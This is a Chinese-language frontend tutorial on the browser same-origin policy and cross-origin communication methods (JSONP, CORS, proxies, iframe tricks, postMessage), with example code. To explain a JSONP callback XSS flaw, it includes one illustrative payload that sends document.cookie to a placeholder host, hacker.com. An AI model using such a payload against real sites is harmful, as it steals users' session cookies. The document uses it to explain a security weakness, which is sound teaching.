一、什么是跨域

1. 同源策略及其限制内容

概念

同源策略是一种约定,它是浏览器最核心也最基本的安全功能。如果缺少了同源策略,浏览器很容易受到 XSS、CSRF等攻击。

所谓 同源 是指 协议+域名+端口 三者相同,即便两个不同的域名指向同一个 ip 地址,也非同源。

限制内容

  • Cookie、LocalStorage、IndexedDB 等存储性内容
  • DOM 节点
  • AJAX 请求发送后,结果被浏览器拦截了

允许跨域加载资源的标签或属性: script、link、img、video、audio、frame、iframe、embed 等有 src 属性的标签,以及 object(data属性)、applet(code属性)

css 中的 @font-face

2. 跨域

概念

跨域 指的是协议(protocal)、域名(host)和端口号(post)三者之间任意一个不相同的资源之间尝试着进行交互通信,但由于受浏览器同源策略的限制,无法正常进行交互通信。

使用 AJAX 请求第三方不同域下的资源时就经常会发生跨域,如果不处理便不能成功发送请求,且会收到这样的错误警告
同源策略与跨域 - 图1

严格来说,浏览器并不是拒绝所有的跨域请求,实际上拒绝的是跨域的读操作。
同源策略控制了不同源之间的交互,这些交互通常分为三类:

  • ✅ 通常浏览器允许进行跨域 写操作(Cross-origin writes),如链接、重定向以及表单提交
  • ✅ 通常浏览器允许跨域 资源嵌入(Cross-origin embedding),如 img、script 标签
  • ❌ 通常浏览器不允许跨域 读操作(Cross-origin reads),但常可以通过内嵌资源来巧妙地进行读取访问。例如可以读取嵌套图片的高度和宽度,调用内嵌脚本的方法

为什么要实现跨域请求? 工程服务化后,不同职责的服务分散在不同的工程中,往往这些工程的域名是不同的,但一个需求可能对应到多个服务,这时便需要调用不同服务的接口,因此会出现跨域。 同源策略仅存在于浏览器客户端,不存在 Android、iOS、NodeJS、Python、Java 等其他环境。

⚠️ 注意:跨域请求能成功发送,服务端能接收请求并正常返回结果,只是结果被浏览器拦截了。

二、跨域解决方案

1. 前后端之间的数据通信

JSONP

由于浏览器同源策略允许 script 标签这样的跨域资源嵌套的,所以 script 标签的资源不受到同源策略的限制。

JSONP 正是利用这一点来进行跨域请求的:

  1. 前端设置好回调函数,并把回调函数当作请求 url 携带的参数
  2. 后端接受到请求之后,返回回调函数名和需要的数据
  3. 后端响应并返回数据后,返回的数据传入到回调函数中并执行。

    简单实例

    ```javascript // 服务端简单示例 const http = require(‘http’); const server = http.createServer(); const data = {};

server.on(‘request’, (req, res) => { const { url } = req; const reg = /(callback=)\w+/gi; const fnArr = url.match(reg).map(a => a.replace(‘callback=’, ‘’)); let result = ‘’; for (let i in fnArr) { result += ${fnArr[i]}(${JSON.stringify(data)}); } // 为了防止中文乱码问题,需要设置响应头, res.setHeader(‘Content-Type’, ‘text/html; charset=utf-8’) res.end(result); })

server.listen(3000, () => console.log(‘listening on port 3000’));

  1. ```html
  2. <!-- script 标签方式:前端示例 -->
  3. <!-- 通过原生使用 script 标签 -->
  4. <script>
  5. function jsonpCallback(data) {
  6. console.log(data);
  7. }
  8. </script>
  9. <script src="http://127.0.0.1:3000?callback=jsonpCallback"></script>
  1. <!-- xhr 请求方式:前端示例 -->
  2. <script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.6.0/jquery.js"></script>
  3. <script>
  4. function jsonpCallback(data) {
  5. console.log(data);
  6. }
  7. $.ajax({
  8. type: 'GET', // 必须是 GET 请求 !!!!!!!!!!!!!!
  9. url: 'http://127.0.0.1:3000',
  10. dataType: 'jsonp', // 设置为 jsonp 类型 !!!!!!!!!!!!!!
  11. jsonpCallback: 'jsonpCallback' // 设置回调函数
  12. })
  13. </script>

手写 JSONP 前端请求方法

  1. const jsonp = ({
  2. url,
  3. params,
  4. callbackName
  5. }) => {
  6. const generateUrl = () => {
  7. url += "?"
  8. for (let i in params) {
  9. url += `${i}=${params[i]}&`
  10. }
  11. url += `callback=${callbackName}`
  12. return url
  13. }
  14. return new Promise((resolve, reject) => {
  15. const scriptEle = document.createElement('script');
  16. scriptEle.src = generateUrl();
  17. document.body.appendChild(scriptEle);
  18. window[callbackName] = data => {
  19. resolve(data);
  20. document.body.removeChild(scriptEle);
  21. }
  22. })
  23. }

优缺点

  • 兼容性好,低版本的 IE 也可以支持
  • 只能支持 GET 方式的 HTTP 请求
  • 只支持前后端数据通信这样的 HTTP 请求,并不能解决不同域下的页面之间的数据交互通信问题。

    Callback 导致的 XSS 安全漏洞

    如果函数名 callback 不是正常的函数名,而是一个 script 标签如:
    1. script.src='/pay?callback=<srcript>$.get("http://hacker.com?cookie="+document.cookie)</script>'

那么当服务器返回响应的时候,后面这段恶意代码就会被执行

CORS

CORS 跨域资源共享(Cross-origin resource sharing)允许在服务端进行相关设置后,可以进行跨域通信。
服务端未设置 CORS 跨域字段,客户端会拒绝请求并提示错误警告。

服务端设置 Access-Control-Allow-Origin 字段,值可以是具体的域名或者 * 通配符,配置好后就可以允许跨域请求数据。

简单实例

  1. // 服务端设置
  2. const http = require('http');
  3. const server = http.createServer();
  4. const data = {};
  5. server.on('request', (req, res) => {
  6. // 为了防止中文乱码问题,需要设置响应头,
  7. res.setHeader('Content-Type', 'text/html; charset=utf-8')
  8. // res.setHeader('Access-Control-Allow-Origin', '*');
  9. res.end(JSON.stringify(data));
  10. })
  11. server.listen(3000, () => console.log('listening on port 3000'));

服务器代理(Server Proxy)

通过服务器代理请求的方式也是解决浏览器跨域问题的方案。
同源策略只是针对浏览器的安全策略,服务器并不受同源策略的限制,也就不存在跨域的问题。具体步骤如下:

  1. 前端请求代理服务端提供的接口
  2. 通过代理服务器发送请求给有数据的服务器
  3. 得到数据后,代理服务器再将需要的数据返回给前端

    即直接让后端代理发送请求。

示例一:使用 node

  1. // index.html(http://127.0.0.1:5500)
  2. <script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.min.js"></script>
  3. <script>
  4. $.ajax({
  5. url: 'http://localhost:3000',
  6. type: 'post',
  7. data: { name: 'xiamen', password: '123456' },
  8. contentType: 'application/json;charset=utf-8',
  9. success: function(result) {
  10. console.log(result) // {"title":"fontend","password":"123456"}
  11. },
  12. error: function(msg) {
  13. console.log(msg)
  14. }
  15. })
  16. </script>
  1. // server1.js 代理服务器 —— http://localhost:3000
  2. const http = require('http')
  3. // 第一步:接受客户端请求
  4. const server = http.createServer((request, response) => {
  5. // 代理服务器,直接和浏览器直接交互,需要设置CORS 的首部字段
  6. response.writeHead(200, {
  7. 'Access-Control-Allow-Origin': '*',
  8. 'Access-Control-Allow-Methods': '*',
  9. 'Access-Control-Allow-Headers': 'Content-Type'
  10. })
  11. // 第二步:将请求转发给服务器
  12. const proxyRequest = http
  13. .request(
  14. {
  15. host: '127.0.0.1',
  16. port: 4000,
  17. url: '/',
  18. method: request.method,
  19. headers: request.headers
  20. },
  21. serverResponse => {
  22. // 第三步:收到服务器的响应
  23. var body = ''
  24. serverResponse.on('data', chunk => {
  25. body += chunk
  26. })
  27. serverResponse.on('end', () => {
  28. console.log('The data is ' + body)
  29. // 第四步:将响应结果转发给浏览器
  30. response.end(body)
  31. })
  32. }
  33. )
  34. .end()
  35. })
  36. server.listen(3000, () => {
  37. console.log('The proxyServer is running at http://localhost:3000')
  38. })
  1. // server2.js —— http://localhost:4000
  2. const http = require('http')
  3. const data = { title: 'fontend', password: '123456' }
  4. const server = http.createServer((request, response) => {
  5. if (request.url === '/') {
  6. response.end(JSON.stringify(data))
  7. }
  8. })
  9. server.listen(4000, () => {
  10. console.log('The server is running at http://localhost:4000')
  11. })

示例二:使用 nginx

实现原理类似于 Node 中间件代理,需要你搭建一个中转 nginx 服务器,用于转发请求。

使用 nginx 反向代理实现跨域,是最简单的跨域方式。只需要修改 nginx 的配置即可解决跨域问题,支持所有浏览器,支持 session,不需要修改任何代码,并且不会影响服务器性能。

实现思路:通过 nginx 配置一个代理服务器(域名与 domain1 相同,端口不同)做跳板机,反向代理访问domain2 接口,并且可以顺便修改 cookie 中 domain 信息,方便当前 域 cookie 写入,实现跨域登录

2. 窗口间的数据通信

window.name + iframe

实现原理:window.name 属性的独特之处:name 值在不同的页面(甚至不同域名)加载后依旧存在,并且可以支持非常长的 name 值(2MB)

示例:
a.htmlb.html是同域的,都是http://localhost:3000,而c.htmlhttp://localhost:4000

  1. // a.html —— http://localhost:3000/a.html
  2. <iframe src="http://localhost:4000/c.html" frameborder="0" onload="load()" id="iframe"></iframe>
  3. <script>
  4. let first = true, iframe = document.getElementById('iframe');
  5. // onload事件会触发2次,第1次加载跨域页,并留存数据于window.name
  6. function load() {
  7. if(first){
  8. // 第1次onload(跨域页)成功后,切换到同域代理页面
  9. iframe.src = 'http://localhost:3000/b.html';
  10. first = false;
  11. }else{
  12. // 第2次onload(同域b.html页)成功后,读取同域 window.name 中数据
  13. console.log(iframe.contentWindow.name); // 🤭
  14. }
  15. }
  16. </script>

b.html 为中间代理页,与 a.html 同域,内容为空

  1. // c.html —— http://localhost:4000/c.html
  2. <script>
  3. window.name = '🤭'
  4. </script>

总结:通过 iframe 的 src 属性由外域转向本地域,跨域数据即由 iframe 的 window.name 从外域传递到本地域。
这个就巧妙地绕过了浏览器的跨域访问限制,但同时它又是安全操作

location.hash + iframe

实现原理: a.html 与 c.html 跨域相互通信,可以通过中间页 b.html 来实现。
三个页面,不同域之间利用 iframe 的 location.hash 传值,相同域之间直接 js 访问来通信

同源策略与跨域 - 图2

具体流程如下:

  1. 不同域的 a 页面与 c 页面进行通信,在 a 页面通过 iframe 嵌入 c 页面,并给 iframe 的 src 添加一个 hash 值
  2. b 页面接受到了 hash 值后,确定 c 页面在尝试着向自己通信,然后通过修改 parent.parent.location.hash 的值,将要通信的数据传递给 a 页面的 hash
  3. 由于 IE 和 chrome 不允许子页面直接修改父页面的 hash 值,所以需要一个代理页面 b,通过与 a 页面同域的 c 页面来传递数据

    在 c 页面中通过 iframe 嵌入 b 页面,将要传递的数据通过 iframe 的 src 链接的 hash 值传递给 c 页面,由于 a 页面与 b 页面同域, b 页面可以直接修改 a 页面的 hash 值或者调用 a 页面中的全局函数。

  1. // a.html
  2. <iframe src="http://localhost:4000/c.html#dsb"></iframe>
  3. <script>
  4. window.onhashchange = function () { //检测hash的变化
  5. console.log(location.hash);
  6. }
  7. </script>
  1. // b.html
  2. <script>
  3. window.parent.parent.location.hash = location.hash
  4. //b.html将结果放到a.html的hash值中,b.html可通过parent.parent访问a.html页面
  5. </script>
  1. // c.html
  2. console.log(location.hash);
  3. let iframe = document.createElement('iframe');
  4. iframe.src = 'http://localhost:5500/b.html#idontloveyou';
  5. document.body.appendChild(iframe);

优缺点

  • hash 传递的数量容量有限
  • 数据直接暴露在 url

    document.domain + iframe

    预计在 Chrome 101 版本,document.domain变为可读属性,就是说不能用来跨域了

实现原理:两个页面都通过 js 强制设置 document.domain 为基础主域,就实现了同域。

该方式只能用于二级域名相同的情况下,比如 a.test.com 和 b.test.com 适用于该方式。 只需要给页面添加 document.domain =’test.com’ 表示二级域名都相同就可以实现跨域

示例

  1. // a.html
  2. <body>
  3. helloa
  4. <iframe src="http://b.zf1.cn:3000/b.html" frameborder="0" onload="load()" id="frame"></iframe>
  5. <script>
  6. document.domain = 'zf1.cn'
  7. function load() {
  8. console.log(frame.contentWindow.a);
  9. }
  10. </script>
  11. </body>
  1. // b.html
  2. <body>
  3. hellob
  4. <script>
  5. document.domain = 'zf1.cn'
  6. var a = 100;
  7. </script>
  8. </body>

window.postMessage

postMessage 是 HTML5 XMLHttpRequest Level 2中的API,且是为数不多可以跨域操作的window 属性之一。
跨域原理:**postMessage()**方法允许来自不同源的脚本采用异步方式进行有限的通信,可以实现跨文本档、多窗口、跨域消息传递

它可用于解决以下方面的问题:

  • 页面和其打开的新窗口的数据传递
  • 多窗口之间消息传递
  • 页面与嵌套的 iframe 消息传递
  • 上面三个场景的跨域数据传递

使用方式

  1. otherWindow.postMessage(message, targetOrigin, [transfer]);
  • message:将要发送到其他 window 的数据。
  • targetOrigin:通过窗口的 origin 属性来指定哪些窗口能接收到消息事件
    • "*":通配符,表示任意窗口。
    • url:在发送消息的时候,如果目标窗口的协议、主机地址或端口这三者都匹配targetOrigin消息才会被发送。
  • transfer(可选) :是一串和 message 同时传递的 Transferable 对象.。
    • 这些对象的所有权将被转移给消息的接收方,而发送一方将不再保有所有权。

使用示例
接下来我们看个例子: http://localhost:3000/a.html页面向http://localhost:4000/b.html传递hello,然后后者传回hello 你个大头

  1. // a.html
  2. <iframe src="http://localhost:4000/b.html" frameborder="0" id="frame" onload="load()"></iframe> //等它加载完触发一个事件
  3. //内嵌在http://localhost:3000/a.html
  4. <script>
  5. function load() {
  6. let frame = document.getElementById('frame')
  7. frame.contentWindow.postMessage('hello', 'http://localhost:4000') //发送数据
  8. window.onmessage = function(e) { //接受返回数据
  9. console.log(e.data) // hello 你个大头
  10. }
  11. }
  12. </script>
  1. // b.html
  2. window.onmessage = function(e) {
  3. console.log(e.data) // hello
  4. e.source.postMessage('hello 你个大头', e.origin)
  5. }

参考资料

《九种跨域方式实现原理(完整版)》